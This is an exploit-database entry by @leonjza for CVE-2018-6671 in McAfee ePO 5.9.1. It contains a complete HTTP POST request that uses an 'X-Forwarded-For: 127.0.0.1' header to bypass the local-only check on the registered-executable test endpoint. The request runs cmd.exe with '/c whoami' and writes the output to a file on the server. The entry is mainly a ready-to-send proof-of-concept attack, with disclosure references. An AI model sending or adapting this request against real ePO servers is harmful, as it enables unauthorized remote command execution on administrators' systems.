McAfee ePO 5.9.1 – Registered Executable Local Access Bypass
# Exploit Title: McAfee ePO 5.9.1 Registered Executable Local Access Bypass # Date: 2019-03-07 # Exploit Author: @leonjza # Vendor Homepage: https://www.mcafee.com/ # Software Link: https://www.mcafee.com/enterprise/en-us/products/epolicy-orchestrator.html # Version: ePO v5.9.1 # Tested on: Windows Server 2012 # CVE : cve-2018-6671 GIST LINK: https://gist.github.com/leonjza/17eb8ed9cba0ea1d2c70b82782c6d949 # CVE-2018-6671 McAfee ePO 5.9.1 Registered Executable Local Access Bypass # Specifying an X-Forwarded-For header bypasses the local only check # https://kc.mcafee.com/corporate/index?page=content&id=SB10240 # https://nvd.nist.gov/vuln/detail/CVE-2018-6671 # # 2019 @leonjza # # Tested on ePO v5.9.1, missing hotfix EPO5xHF1229850 POST /Notifications/testRegExe.do HTTP/1.1 Host: 192.168.1.26:8443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://192.168.1.26:8443/Notifications/addRegExecutable.do?orion.user.security.token=Bp5pZJOQll2vryhC Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 284 DNT: 1 Connection: close Cookie: JSESSIONID=645BCB1CE5B7DBE1B9EDC7BB9F2F7349.route1; orion.login.language="language:en&country:"; orion.content.size="width:1384&height:699"; JSESSIONIDSSO=4D970A5F2DBF48309F796DF38B80FC15 X-Forwarded-For: 127.0.0.1 orion.user.security.token=Bp5pZJOQll2vryhC&orion.user.security.token=Bp5pZJOQll2vryhC&executableName=CVE-2018-6671%20PoC&executablePath=c:\windows\system32\cmd.exe&userName=&pass=&passConfirm=&testExeArgs=/c whoami > c:\CVE-2018-6671.txt&testExeTime=60000&objectId=0&ajaxMode=standard -- L. :wq! |